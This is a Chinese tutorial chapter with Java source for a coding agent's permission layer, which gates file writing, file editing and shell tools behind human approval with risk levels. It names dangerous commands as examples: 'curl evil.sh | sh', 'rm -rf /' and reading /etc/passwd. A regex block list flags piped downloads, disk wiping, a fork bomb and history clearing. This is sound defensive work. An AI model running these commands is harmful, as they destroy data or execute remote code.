M2 的 agent 能看。M3 给它手。
而一旦给了手,问题就从”能不能做到”变成了”该不该做”。 这一节的核心不是代码量,是设计一套让人敢用的信任模型。
0. 本节目标与验收标准
新增/修改的文件
src\main\java\dev\learn\agent\
├── Main.java ✏️ 加交互式审批
├── tool\
│ ├── Tool.java ✏️ 加 3 个 default 方法
│ ├── ToolContext.java ✏️ 加 permissions
│ ├── ToolRegistry.java ✏️ 执行前过权限
│ └── impl\
│ ├── ReadFileTool.java ✏️ 加一行 requiresApproval()=false
│ ├── GlobTool.java ✏️ 同上
│ ├── GrepTool.java ✏️ 同上
│ ├── WriteFileTool.java ✨ 新
│ ├── EditFileTool.java ✨ 新
│ └── BashTool.java ✨ 新
└── permission\ ✨ 全部新增
├── Risk.java 风险等级
├── Approval.java 审批结果
├── Approver.java 审批人接口
├── DangerDetector.java ★ 危险命令识别
└── PermissionManager.java ★ 权限决策中心
💡 注意 M2 的三个只读工具只加了一行
requiresApproval() { return false; }。 权限是横切关注点,它不应该渗进任何一个工具的实现里。 如果 M3 逼你去改read_file的execute方法,说明分层切错了。
验收标准
你> Create a file named notes.txt containing exactly: hello from the agent
⚙ write_file {"path": "notes.txt", "content": "hello from the agent\n"}
[轮次结束 TOOL_USE]
┌─ 需要授权 ─────────────────────────────
│ 工具:write_file
│ 新建文件 notes.txt(1 行)
│ 风险:LOW
└────────────────────────────────────────
允许吗? [y]允许 [a]本会话总是允许 [n]拒绝 > y
← 已创建 notes.txt(21 字节,1 行)
已创建 notes.txt,内容为 `hello from the agent`。
✅ 写文件前会弹出审批,显示要做什么和风险等级
✅ 拒绝后模型能优雅接受,不会死循环重试
✅ rm -rf / 这类命令会被识别为 HIGH 风险
✅ 只读工具(read_file/glob/grep)不弹窗
1. 概念:能力的代价
M2 的 agent 只能读。这意味着:
无论模型多蠢、多激进、被提示注入成什么样,它最坏的结果就是”读了不该读的东西”。 而路径沙箱已经把这一点也堵住了。
M3 要给它写权限和 shell。开口是巨大的:
| 工具 | 最坏情况 |
|---|---|
write_file | 覆盖你的源码、删掉配置文件 |
edit_file | 在你没注意的地方悄悄改一行 |
run_bash | 任何事。包括 rm -rf /、git push --force、curl evil.sh | sh |
特别是 run_bash——它让前面所有的路径沙箱全部失效。
一条 cat /etc/passwd 就绕过去了,一条 cp /etc/passwd ./ 就把它搬进工作目录了。
这就是真实存在的张力:能力越强,约束越难。
唯一可行的答案
在”完全不给”和”全给”之间,唯一可行的是让人在关键时刻有权说”不”。
类比:你不会因为”新来的实习生可能犯错”就不让他碰代码库。 你会给他权限,但关键操作(合并到主分支、发版)需要 review。 审批不是因为不信任,是因为后果不可逆。
2. 信任模型设计
这一节设计的东西全部会在代码里落地。先想清楚,再写。
2.1 四种选择,不是两种
一个只有”允许/拒绝”的系统,用起来是这样的:
⚙ 想读文件 a.java —— 允许吗? y
⚙ 想读文件 b.java —— 允许吗? y
⚙ 想读文件 c.java —— 允许吗? y
⚙ 想读文件 d.java —— 允许吗? y
这不是安全,这是折磨。 用户按到第四遍就会开始无脑按 y—— 于是安全系统变成了一个仪式,失去了全部意义。
⚠️ 审批疲劳是安全系统最大的敌人。 这个道理值得你记住一辈子。
所以需要区分:
| 情况 | 策略 |
|---|---|
| 无副作用(读文件、搜代码) | 不问,直接放行 |
| 有副作用但可接受 | 问,允许”本会话别再问了” |
| 可能不可逆 | 问,每一次都问 |
对应到代码就是三个概念:requiresApproval、Risk、permissionScope。
2.2 风险分级
public enum Risk {
LOW, // 基本无副作用
MEDIUM, // 会改状态,但影响可控
HIGH // 可能不可逆
}
风险等级最大的作用不是”拦住”,而是决定”会话授权能不能生效”:
if (risk == Risk.HIGH) {
// 高风险永远重新确认 —— 跳过会话缓存
return ask(...);
}
if (sessionAllowed.contains(scope)) {
return Approval.once();
}
return ask(...);
⚠️ 那两行是整套设计里最不能省的地方。 没有它,“本会话总是允许 run_bash” 就会变成 “本会话允许 run_bash 执行 rm -rf /”。 用户授权的是”执行 git 命令”,不是”执行任何命令”——这两件事必须区分开。
2.3 授权粒度(最微妙的部分)
“本会话总是允许”要按什么粒度记住?
| 粒度 | 后果 |
|---|---|
整个工具(run_bash) | ❌ 太粗。“允许 run_bash” = 允许一切 |
工具 + 命令第一个词(run_bash:git) | ⚠️ 还是粗。“允许 git” = 也允许 git push --force(好在 HIGH 不缓存,兜住了) |
| 工具 + 完整命令 | ✅ 安全,但每次命令稍有不同就问,很快疲劳 |
工具 + 具体文件(edit_file:src/a.java) | ✅ 对文件类工具正合适 |
没有正确答案,只有权衡。 我们的选择:
write_file→ 按父目录(“总是允许写 src/main/java/demo/ 下的文件”)edit_file→ 按具体文件run_bash→ 按命令第一个词,靠 HIGH 等级兜底
2.4 黑名单还是白名单
DangerDetector 用的是正则黑名单。必须清醒地知道它的局限:
黑名单必然漏报。 你永远列不全
rm -rf /的所有写法。
那为什么还用?因为它是最后一道提醒,不是唯一防线。真正的防线是”每一次都问人”。
白名单(只允许明确列举的命令)安全得多,但会牺牲灵活性——你想让 agent 跑 ./gradlew test
还得先把它加进白名单。
黑名单换灵活,白名单换安全。没有免费的选择。 而且注意:这个选择不是技术选择,是产品选择——取决于你打算把这个 agent 给谁用。
3. 第一步:permission 包
3.1 Risk.java
package dev.learn.agent.permission;
/**
* 一次操作的风险等级。
*
* <p>用途有两个:决定审批提示显示成什么颜色,以及决定"本会话总是允许"能不能生效。
*/
public enum Risk {
/** 基本无副作用。read_file / glob / grep 之类。 */
LOW,
/** 会改变工作区状态,但影响可控。写文件、改文件、普通的 rm/mv。 */
MEDIUM,
/**
* 可能造成不可逆的破坏。删库、强推、格式化……
* ⚠️ HIGH 永不适用"本会话总是允许"—— 每一次都必须重新确认。
*/
HIGH
}
3.2 Approval.java
package dev.learn.agent.permission;
/**
* 对一次审批请求的回答。
*/
public sealed interface Approval {
/**
* 批准。
*
* @param remember 是否本会话内不再询问同类操作(仅对非 HIGH 风险生效)
*/
record Allowed(boolean remember) implements Approval {}
/**
* 拒绝。
*
* @param reason 理由。<b>会被原样告诉模型</b>,所以写清楚对模型有意义。
*/
record Denied(String reason) implements Approval {}
static Approval once() {
return new Allowed(false);
}
static Approval always() {
return new Allowed(true);
}
static Approval deny(String reason) {
return new Denied(reason);
}
}
💡 又是
sealed。这里的好处和 M1 一样:Approval只可能是”批准”或”拒绝”, 而且PermissionManager里的instanceof Approval.Denied判断, 编译器能确保你考虑到所有分支。
3.3 Approver.java
package dev.learn.agent.permission;
/**
* 审批人:真正去问"人"的那个东西。
*
* <p>把它抽成接口,是为了让 <b>策略</b> 和 <b>交互方式</b> 分开:
* <ul>
* <li>命令行里它是"在终端问一句 y/n";</li>
* <li>在 CI 里它可以是"读环境变量,非白名单一律拒绝";</li>
* <li>在测试里它是"永远返回批准",让测试不需要人工干预。</li>
* </ul>
* 这就是为什么 M3 的权限系统可测试 —— 因为没有人被硬编码进去。
*/
@FunctionalInterface
public interface Approver {
/**
* @param toolName 工具名
* @param action 这次要做什么的人话描述
* @param risk 风险等级
* @return 批准还是拒绝
*/
Approval ask(String toolName, String action, Risk risk);
}
💡 注意它是个
@FunctionalInterface,而且方法没有声明受检异常。 这是个刻意的设计:接口不该强迫每个实现都去处理 IO 异常。 代价是命令行实现要自己把IOException就地消化掉——见第 5 节。
3.4 DangerDetector.java ★
package dev.learn.agent.permission;
import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.ToolContext;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import java.util.regex.Pattern;
/**
* 危险操作识别。
*
* <p>这是 M3 里最"策略化"的一块:它不是安全性问题(路径沙箱才是),
* 而是<b>判断力问题</b> —— 什么算危险,取决于你要保护什么。
*
* <p>⚠️ 这里用的是<b>正则黑名单</b>。它必然漏报(永远列不全),
* 只能当作"最后一道提醒",绝不能当作唯一防线。
* 真正可靠的做法是白名单:只允许明确列举的操作。但那会牺牲灵活性。
* <b>黑名单换灵活,白名单换安全 —— 没有免费的选择。</b>
*/
public final class DangerDetector {
/** 一次评估的结果。 */
public record Assessment(Risk risk, String reason) {
static Assessment low() {
return new Assessment(Risk.LOW, null);
}
}
private record Rule(Pattern pattern, String reason) {
}
/**
* 危险命令规则表。
*
* <p>每一条都是一个"如果命中,就必须让用户停下来看一眼"的模式。
* 注意它们都是<b>模式</b>而不是精确字符串 —— 因为 `rm -rf /` 有一万种写法。
*/
private static final List<Rule> BASH_RULES = List.of(
new Rule(Pattern.compile(
"\\brm\\s+-\\w*r\\w*\\s+(/|~|\\$HOME|\\*|\\.)(\\s|$)", Pattern.CASE_INSENSITIVE),
"递归删除根目录 / 家目录 / 当前目录 / 通配符"),
new Rule(Pattern.compile("\\bgit\\s+push\\b[^|;]*(--force\\b|\\s-f\\b)"),
"强制推送,会覆盖远端历史,别人的提交可能丢失"),
new Rule(Pattern.compile("\\bgit\\s+reset\\s+--hard\\b"),
"丢弃所有未提交的本地修改,无法恢复"),
new Rule(Pattern.compile("\\bgit\\s+clean\\s+-\\w*[fdx]"),
"删除未跟踪的文件/目录,无法恢复"),
new Rule(Pattern.compile("\\bgit\\s+branch\\s+-D\\b"),
"强制删除分支,未合并的提交会丢"),
new Rule(Pattern.compile("\\bgit\\s+checkout\\s+--\\s+\\."),
"丢弃工作区所有未提交修改"),
new Rule(Pattern.compile("\\bsudo\\b"),
"以超级用户身份执行"),
new Rule(Pattern.compile("(curl|wget)\\b[^|;]*\\|\\s*(ba|z)?sh\\b"),
"把从网上下载的脚本直接交给 shell 执行"),
new Rule(Pattern.compile("\\bchmod\\s+(-R\\s+)?777\\b"),
"把权限开成任何人可读写执行"),
new Rule(Pattern.compile("\\b(mkfs|fdisk|parted|mkswap)\\b"),
"格式化或重新分区磁盘"),
new Rule(Pattern.compile("\\bdd\\b[^|;]*\\bof=/dev/"),
"直接写裸设备,可能摧毁磁盘内容"),
new Rule(Pattern.compile(">\\s*/dev/(sd|nvme|hd)"),
"重定向覆盖磁盘设备"),
new Rule(Pattern.compile(":\\s*\\(\\s*\\)\\s*\\{\\s*:\\s*\\|\\s*:\\s*&\\s*\\}\\s*;\\s*:"),
"fork 炸弹,会耗尽系统进程"),
new Rule(Pattern.compile("\\b(shutdown|reboot|halt|poweroff)\\b"),
"关机或重启"),
new Rule(Pattern.compile("\\bkill\\s+-9\\s+(-1|1)\\b"),
"杀死 init 或所有进程"),
new Rule(Pattern.compile("\\bhistory\\s+-c\\b|\\b>\\.bash_history\\b"),
"清除或篡改 shell 历史(可能在掩盖痕迹)")
);
/** 破坏性但不足以判为 HIGH 的动词。 */
private static final Pattern DESTRUCTIVE =
Pattern.compile("\\b(rm|rmdir|mv|truncate|>|>>)\\b");
private DangerDetector() {
}
/**
* 评估一次调用的风险。
*
* <p>注意这个方法是<b>纯函数</b>:只读参数,不看全局状态。
* 所以它可以被单元测试覆盖到每一条规则,不需要启动 agent。
*/
public static Assessment assess(String toolName, JsonNode args, ToolContext ctx) {
return switch (toolName) {
case "run_bash" -> assessBash(args);
case "write_file" -> assessWrite(args, ctx);
case "edit_file" -> new Assessment(Risk.MEDIUM, "修改已有文件的内容");
default -> Assessment.low();
};
}
private static Assessment assessBash(JsonNode args) {
String command = args.path("command").asText("");
for (Rule rule : BASH_RULES) {
if (rule.pattern().matcher(command).find()) {
return new Assessment(Risk.HIGH, rule.reason());
}
}
if (DESTRUCTIVE.matcher(command).find()) {
return new Assessment(Risk.MEDIUM, "命令包含删除/移动/重定向等破坏性操作");
}
return Assessment.low();
}
private static Assessment assessWrite(JsonNode args, ToolContext ctx) {
String path = args.path("path").asText("");
try {
Path target = ctx.resolve(path);
if (Files.exists(target)) {
return new Assessment(Risk.MEDIUM, "覆盖一个已经存在的文件");
}
} catch (RuntimeException ignored) {
// 路径非法的话,工具自己会拒绝,不用在这里报警
}
return Assessment.low();
}
}
💡 注意它是个纯函数(除了
Files.exists这个只读检查)。 这意味着它可以被单元测试穷举——给它 100 条命令,验证每一条的判定结果。 我在第 9 节就是这么验证的,一行 agent 代码都没跑。“可测试”不是事后加的,是设计出来的。
3.5 PermissionManager.java ★
package dev.learn.agent.permission;
import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
/**
* 权限管理器:决定一次工具调用能不能执行。
*
* <p>它只做一件事:把"这一次要不要问人"这个判断集中到一个地方。
* 工具本身完全不知道权限的存在 —— 这是刻意的,
* 因为权限是<b>横切关注点</b>:它和"读文件"这个功能没有逻辑关系,
* 但几乎每个有副作用的工具都需要它。
*/
public final class PermissionManager {
private final Approver approver;
/**
* 本会话内已经"总是允许"的粒度键。
*
* <p>为什么用 ConcurrentHashMap 的 keySet 而不是 HashSet?
* 因为工具是并发执行的(虚拟线程),多个线程可能同时检查/写入。
*/
private final Set<String> sessionAllowed = ConcurrentHashMap.newKeySet();
public PermissionManager(Approver approver) {
this.approver = approver;
}
/** 一个什么都不问、全部放行的实现。测试和不关心权限的场景用。 */
public static PermissionManager allowAll() {
return new PermissionManager((tool, action, risk) -> Approval.always());
}
/**
* 检查一次调用。
*
* <p>决策顺序(很重要,顺序本身就是设计):
* <ol>
* <li>工具声明不需要审批 → 直接放行(只读工具走这条路,不打扰用户)</li>
* <li>高风险 → <b>跳过会话缓存,必须重新问</b></li>
* <li>同粒度已授权过 → 放行</li>
* <li>否则 → 问人</li>
* </ol>
*/
public Approval check(Tool tool, JsonNode args, ToolContext ctx) {
if (!tool.requiresApproval()) {
return Approval.once();
}
DangerDetector.Assessment assessment = DangerDetector.assess(tool.name(), args, ctx);
Risk risk = assessment.risk();
String scope = tool.permissionScope(args, ctx);
// ⚠️ 高风险永远重新确认。这一条是整套设计里最不能省的一行。
if (risk == Risk.HIGH) {
return ask(tool.name(), tool.describeAction(args, ctx), risk, assessment.reason(), scope, false);
}
if (sessionAllowed.contains(scope)) {
return Approval.once();
}
return ask(tool.name(), tool.describeAction(args, ctx), risk, assessment.reason(), scope, true);
}
private Approval ask(String toolName, String action, Risk risk,
String riskReason, String scope, boolean rememberable) {
Approval approval = approver.ask(toolName, formatAction(action, riskReason), risk);
if (approval instanceof Approval.Allowed allowed
&& allowed.remember()
&& rememberable) {
sessionAllowed.add(scope);
}
return approval;
}
private static String formatAction(String action, String riskReason) {
if (riskReason == null) {
return action;
}
return action + "\n ⚠ 命中危险规则:" + riskReason;
}
/** 忘记所有会话级授权。 */
public void forgetAll() {
sessionAllowed.clear();
}
}
4. 第二步:Tool 接口的三个新方法
// ─────────────────── M3 新增:参与权限系统 ───────────────────
/**
* 这个工具是否需要用户审批。
*
* <p>只读、无副作用的工具覆写成 false —— 每一次读文件都弹窗会让人疯掉,
* 而且会训练用户无脑按"允许"。<b>审批疲劳是安全系统最大的敌人。</b>
*/
default boolean requiresApproval() {
return true;
}
/**
* 用"人话"描述这次调用准备做什么,展示给用户做审批。
*
* <p>⚠️ 这段文字直接决定用户能不能看懂自己将要同意什么。
* 写 `write_file {"path":"a.java","content":"..."}` 是失职;
* 要写"覆盖 src/Main.java(现有 1200 字节 → 新 3400 字节)"。
*/
default String describeAction(JsonNode args, ToolContext ctx) {
return name() + " " + args;
}
/**
* 会话级授权的粒度。
*
* <p>相同 scope 的后续调用不再询问。默认是整个工具,
* 但这个默认值<b>太粗</b>——"总是允许 write_file"等于允许写任何文件。
* 有副作用的工具应该覆写它,把粒度收窄到具体对象上。
*/
default String permissionScope(JsonNode args, ToolContext ctx) {
return name();
}
三个都是 default,这是关键。 M2 写的三个只读工具只需要加一行 requiresApproval() 覆写,
其余代码一个字不动。接口加 default 方法 = 不破坏已有实现,这是 Java 演进大型接口的标准手法。
然后给三个只读工具各加三行:
/** 只读,无副作用,不该打扰用户。 */
@Override
public boolean requiresApproval() {
return false;
}
5. 第三步:改造 ToolContext 和 ToolRegistry
5.1 ToolContext
只加了一个字段:
public final class ToolContext {
private final Path root;
private final PermissionManager permissions; // ← 新增
public ToolContext(Path root, PermissionManager permissions) {
this.root = root.toAbsolutePath().normalize();
this.permissions = permissions;
}
public Path root() { ... }
public PermissionManager permissions() { return permissions; } // ← 新增
public Path resolve(String userPath) { ... } // 不变
public String display(Path path) { ... } // 不变
}
⚠️ 构造函数多了一个参数 —— 这是破坏性改动,
Main必须跟着改。 但注意影响范围:只有Main需要改,三个只读工具一行都没动。 因为工具拿到的是ToolContext对象,它多一个字段,工具根本不需要知道。
5.2 ToolRegistry.executeOne — 权限检查插在这里
private ToolResult executeOne(ToolCall call, ToolContext ctx) {
Tool tool = byName.get(call.name());
if (tool == null) {
return ToolResult.error(call.id(),
"没有名为 " + call.name() + " 的工具。可用工具:" + byName.keySet());
}
JsonNode args;
try {
args = JSON.readTree(call.arguments());
} catch (Exception e) {
return ToolResult.error(call.id(),
"工具参数不是合法 JSON:" + call.arguments());
}
// ── ★ M3 新增:执行之前先过权限 ──
Approval approval = ctx.permissions().check(tool, args, ctx);
if (approval instanceof Approval.Denied denied) {
// 💡 关键设计:拒绝不是"流程终止",而是"一次对话"。
// 模型收到这条消息后,可以解释理由、换个方式、或者就此放弃。
return ToolResult.error(call.id(),
"用户拒绝了这个操作。理由:" + denied.reason()
+ "\n请不要原样重试。如果这个操作确实必要,先向用户说明为什么;"
+ "或者换一种用户能接受的方式。");
}
try {
return ToolResult.ok(call.id(), tool.execute(args, ctx));
} catch (Exception e) {
return ToolResult.error(call.id(),
"工具 " + call.name() + " 执行失败:" + e.getMessage()
+ "\n你传入的参数是:" + call.arguments());
}
}
两个设计点:
① 权限检查在 execute 之前,而不是在工具内部。
这样保证”没有任何工具能绕过权限”——因为绕过权限的唯一办法是不走 executeOne,
而 executeOne 是唯一的入口。
② 拒绝走的是 ToolResult.error,不是异常。
这是 M2 “错误即信息”思想的延续。模型收到”用户拒绝了,理由是 X”之后,
实测中它会说:
已取消,没有创建任何文件。如果之后确实需要这个文件,可以告诉我,或者换个位置再建。
这不是终止,这是一次对话。 模型理解了意图,并提出替代方案。
6. 第四步:三个新工具
6.1 WriteFileTool.java
package dev.learn.agent.tool.impl;
import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Schema;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
/**
* 创建或覆盖文件。
*
* <p>⚠️ 它是<b>整体覆盖</b>,不是追加,也不是合并。
* 模型非常容易把 write_file 当成"编辑"来用,然后把你文件里原有的内容全删了。
* 所以描述和错误信息里都要反复强调这一点。
*/
public final class WriteFileTool implements Tool {
private static final int MAX_CONTENT_BYTES = 1_000_000;
@Override
public String name() {
return "write_file";
}
@Override
public String description() {
return """
创建或【整体覆盖】一个文件。⚠️ 是覆盖,不是追加、不是修改。
什么时候用:创建新文件。
什么时候不要用:修改已有文件时【必须】用 edit_file —— 用 write_file 改文件
会让你重写整个文件,非常容易丢掉你没注意到的内容。
注意:会自动创建缺失的父目录;content 是完整的文件内容。
""";
}
@Override
public JsonNode parametersSchema() {
return Schema.object()
.string("path", "文件路径,相对工作目录,例如 src/main/java/demo/Helper.java")
.string("content", "文件的完整内容(不是片段!)")
.required("path")
.required("content")
.build();
}
@Override
public String execute(JsonNode args, ToolContext ctx) throws Exception {
String rawPath = args.path("path").asText("");
if (rawPath.isBlank()) {
return "错误:path 不能为空";
}
if (!args.has("content")) {
return "错误:缺少 content 参数";
}
String content = args.path("content").asText("");
if (content.getBytes(StandardCharsets.UTF_8).length > MAX_CONTENT_BYTES) {
return "错误:内容超过 1MB,请拆分成多次写入";
}
Path file = ctx.resolve(rawPath);
boolean existed = Files.exists(file);
Path parent = file.getParent();
if (parent != null) {
Files.createDirectories(parent);
}
Files.writeString(file, content, StandardCharsets.UTF_8);
long bytes = Files.size(file);
return (existed ? "已覆盖 " : "已创建 ") + ctx.display(file)
+ "(" + bytes + " 字节," + content.lines().count() + " 行)";
}
@Override
public String describeAction(JsonNode args, ToolContext ctx) {
String path = args.path("path").asText("");
String content = args.path("content").asText("");
long lines = content.lines().count();
try {
Path target = ctx.resolve(path);
if (Files.exists(target)) {
// ⚠️ 一定要把"原有大小"和"新大小"都写出来,
// 用户才能一眼看出这是不是在毁掉什么
long oldSize = Files.size(target);
return "覆盖已有文件 " + ctx.display(target)
+ "\n 现有 " + oldSize + " 字节 → 新的 " + content.length() + " 字符 / " + lines + " 行"
+ "\n ⚠️ 原内容将全部丢失";
}
} catch (Exception ignored) {
// 路径非法由 execute 负责报错
}
return "新建文件 " + path + "(" + lines + " 行)";
}
/**
* 会话级授权的粒度是<b>父目录</b>而不是整个工具。
* "总是允许 write_file" 等于允许写任何文件;
* "总是允许写 src/main/java/demo/ 下的文件" 就合理得多。
*/
@Override
public String permissionScope(JsonNode args, ToolContext ctx) {
String path = args.path("path").asText("");
int slash = path.lastIndexOf('/');
return name() + ":" + (slash < 0 ? "." : path.substring(0, slash));
}
}
6.2 EditFileTool.java ★ 唯一性检查
package dev.learn.agent.tool.impl;
import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Schema;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
/**
* 精确字符串替换。修改已有代码的<b>首选</b>方式。
*
* <p>它比 write_file 安全得多,因为模型只需要提供"改动的那一段",
* 而不是重写整个文件 —— 于是它不可能在重写时顺手丢掉别的内容。
*/
public final class EditFileTool implements Tool {
@Override
public String name() {
return "edit_file";
}
@Override
public String description() {
return """
在文件中做精确的字符串替换。修改已有代码时优先用这个,不要用 write_file。
要求:old_string 必须与文件中的内容【完全一致】(包括空格和缩进),
并且在文件中【唯一出现】。如果它出现多次,请多带几行上下文使它唯一,
或者把 replace_all 设为 true。
建议:改动之前先用 read_file 看清原文,不要凭记忆猜格式。
""";
}
@Override
public JsonNode parametersSchema() {
return Schema.object()
.string("path", "文件路径,相对工作目录")
.string("old_string", "要被替换的原文。必须与文件内容完全一致,包括缩进")
.string("new_string", "替换成的新内容。传空字符串表示删除这段")
.bool("replace_all", "是否替换所有出现的位置。默认 false")
.required("path")
.required("old_string")
.required("new_string")
.build();
}
@Override
public String execute(JsonNode args, ToolContext ctx) throws Exception {
Path file = ctx.resolve(args.path("path").asText(""));
if (!Files.exists(file)) {
return "错误:文件不存在:" + ctx.display(file) + "。新建文件请用 write_file。";
}
if (!args.has("old_string")) {
return "错误:缺少 old_string 参数";
}
String oldString = args.path("old_string").asText("");
String newString = args.path("new_string").asText("");
boolean replaceAll = args.path("replace_all").asBoolean(false);
if (oldString.isEmpty()) {
// ⚠️ 空字符串在 Java 里会匹配到每个位置,直接把文件搞乱
return "错误:old_string 不能为空。如果你想整体重写文件,用 write_file。";
}
String original = Files.readString(file, StandardCharsets.UTF_8);
int occurrences = countOccurrences(original, oldString);
if (occurrences == 0) {
// 💡 这是最常见的失败。错误信息要给出"下一步怎么办",而不是只说"没找到"。
return "错误:在 " + ctx.display(file) + " 中没有找到 old_string。\n"
+ "可能原因:缩进或空格不一致、内容已变化。\n"
+ "建议:先用 read_file 读一遍这个文件,用文件里的原文重试。\n"
+ "你给的 old_string 是:\n" + abbreviate(oldString);
}
if (occurrences > 1 && !replaceAll) {
// 💡 唯一性检查是 edit 工具的灵魂。
// 没有它,模型会在你没注意到的地方悄悄改掉一处不该改的代码。
return "错误:old_string 在文件中出现了 " + occurrences + " 次,无法确定改哪一处。\n"
+ "解决办法:多带几行上下文(比如把上一行和下一行也包进来)使它唯一,\n"
+ "或者显式设置 replace_all=true 来替换全部 " + occurrences + " 处。";
}
String updated = replaceAll
? original.replace(oldString, newString)
: replaceFirst(original, oldString, newString);
Files.writeString(file, updated, StandardCharsets.UTF_8);
return "已修改 " + ctx.display(file)
+ "(替换 " + (replaceAll ? occurrences : 1) + " 处)";
}
@Override
public String describeAction(JsonNode args, ToolContext ctx) {
String path = args.path("path").asText("");
String oldString = args.path("old_string").asText("");
String newString = args.path("new_string").asText("");
return "修改 " + path
+ "\n - " + abbreviate(oldString).replace("\n", "\n ")
+ "\n + " + abbreviate(newString).replace("\n", "\n ");
}
/** 粒度是具体文件,不是整个工具。 */
@Override
public String permissionScope(JsonNode args, ToolContext ctx) {
return name() + ":" + args.path("path").asText("");
}
private static int countOccurrences(String haystack, String needle) {
int count = 0;
int index = haystack.indexOf(needle);
while (index >= 0) {
count++;
index = haystack.indexOf(needle, index + needle.length());
}
return count;
}
private static String replaceFirst(String haystack, String target, String replacement) {
int index = haystack.indexOf(target);
return haystack.substring(0, index) + replacement + haystack.substring(index + target.length());
}
private static String abbreviate(String s) {
String one = s.strip();
return one.length() <= 200 ? one : one.substring(0, 200) + "…";
}
}
为什么”唯一性检查”是这个工具的灵魂?
想想没有它会怎样:模型说”把 return a + b; 改成 return Math.addExact(a, b);”。
文件里有三处 return a + b;。String.replace 会默默改掉全部三处。
你事后 review diff 的时候,看到三个无关的函数都被改了,还得自己判断哪一处是模型真想改的。
所以
edit_file必须拒绝”不确定的修改”。 宁可让模型多带几行上下文重试一次,也不能让它猜。 在”可能改错”和”多问一句”之间,选后者。
这和 M3 的整个主题是同一件事:不可逆的操作,宁可停下来。
6.3 BashTool.java ★ 最危险的工具
package dev.learn.agent.tool.impl;
import com.fasterxml.jackson.databind.JsonNode;
import dev.learn.agent.tool.Schema;
import dev.learn.agent.tool.Tool;
import dev.learn.agent.tool.ToolContext;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import java.util.concurrent.TimeUnit;
/**
* 执行 shell 命令。
*
* <p>这是最强大的工具 —— 它能做任何事。也是<b>最危险</b>的工具,
* 因为它能做任何事。它的存在意味着前面所有的路径沙箱都只是"针对文件工具的",
* 一条 {@code cat /etc/passwd} 就绕过去了。
*
* <p>⚠️ 这是真实存在的张力:<b>能力越强,约束越难</b>。
*/
public final class BashTool implements Tool {
private static final int DEFAULT_TIMEOUT_SECONDS = 30;
private static final int MAX_TIMEOUT_SECONDS = 300;
private static final int MAX_OUTPUT_CHARS = 30_000;
/** 启动时探测一次用什么 shell。 */
private static final List<String> SHELL = detectShell();
@Override
public String name() {
return "run_bash";
}
@Override
public String description() {
return """
在 shell 里执行一条命令,返回它的输出(stdout 和 stderr 合并)和退出码。
工作目录是项目根目录。
什么时候用:跑测试、编译构建、git 操作、查看环境信息、执行脚本。
什么时候【不要】用:读文件用 read_file,找文件用 glob,搜内容用 grep。
那些专用工具比 `cat` / `find` / `grep` 更可控,结果也更省 token。
注意:有超时限制(默认 30 秒,最长 300 秒);输出超过 3 万字符会被截断。
""";
}
@Override
public JsonNode parametersSchema() {
return Schema.object()
.string("command", "要执行的命令,例如 \"mvn -q test\" 或 \"git status\"")
.integer("timeout_seconds", "超时秒数。可选,默认 30,最大 300")
.required("command")
.build();
}
@Override
public String execute(JsonNode args, ToolContext ctx) throws Exception {
String command = args.path("command").asText("");
if (command.isBlank()) {
return "错误:command 不能为空";
}
int timeout = args.path("timeout_seconds").asInt(DEFAULT_TIMEOUT_SECONDS);
timeout = Math.clamp(timeout, 1, MAX_TIMEOUT_SECONDS);
ProcessBuilder builder = new ProcessBuilder(SHELL.get(0), SHELL.get(1), command);
builder.directory(ctx.root().toFile());
// 把 stderr 并进 stdout,这样输出顺序和终端里看到的一致
builder.redirectErrorStream(true);
Process process = builder.start();
// ⚠️ 必须在另一个线程里读输出。
// 如果先在当前线程 waitFor 再读,而命令输出超过管道缓冲区(通常 64KB),
// 子进程会因为写不进去而阻塞,永远不退出,你俩就互相等死。
StringBuilder output = new StringBuilder();
Thread reader = Thread.ofVirtual().start(() -> {
try (BufferedReader in = new BufferedReader(
new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) {
String line;
while ((line = in.readLine()) != null) {
if (output.length() < MAX_OUTPUT_CHARS * 2) {
output.append(line).append('\n');
}
}
} catch (IOException ignored) {
// 进程被杀时流会断,正常
}
});
boolean finished = process.waitFor(timeout, TimeUnit.SECONDS);
if (!finished) {
process.destroyForcibly();
process.waitFor(5, TimeUnit.SECONDS);
reader.join(2000);
return "错误:命令超过 " + timeout + " 秒仍未结束,已被强制终止。\n"
+ "已产生的输出:\n" + truncate(output.toString())
+ "\n(提示:可以用 timeout_seconds 参数调大超时,最多 300 秒)";
}
reader.join(5000);
int exitCode = process.exitValue();
String body = truncate(output.toString());
if (body.isEmpty()) {
body = "(命令没有产生任何输出)";
}
return "退出码:" + exitCode + "\n" + body;
}
@Override
public String describeAction(JsonNode args, ToolContext ctx) {
String command = args.path("command").asText("");
return "执行命令:\n " + command.replace("\n", "\n ");
}
/**
* 会话级授权粒度是<b>命令的第一个词</b>。
*
* <p>这样"总是允许"的语义是"本会话内别再问我和 git 相关的命令了",
* 而不是"别再问我任何命令"。粒度仍然偏粗 ——
* 真实产品会细到具体的子命令甚至完整的命令模板。
*/
@Override
public String permissionScope(JsonNode args, ToolContext ctx) {
String command = args.path("command").asText("").strip();
String firstWord = command.isEmpty() ? "" : command.split("\\s+", 2)[0];
return name() + ":" + firstWord;
}
private static String truncate(String s) {
if (s.length() <= MAX_OUTPUT_CHARS) {
return s;
}
return s.substring(0, MAX_OUTPUT_CHARS)
+ "\n...(输出被截断,共 " + s.length() + " 字符,只显示了前 " + MAX_OUTPUT_CHARS + " 字符)";
}
/**
* 找一个可用的 shell。
*
* <p>优先 bash —— 因为模型见过的绝大多数命令都是 unix 风格的。
* 找不到再退回系统自带的。
*/
private static List<String> detectShell() {
String os = System.getProperty("os.name", "").toLowerCase();
if (os.contains("win")) {
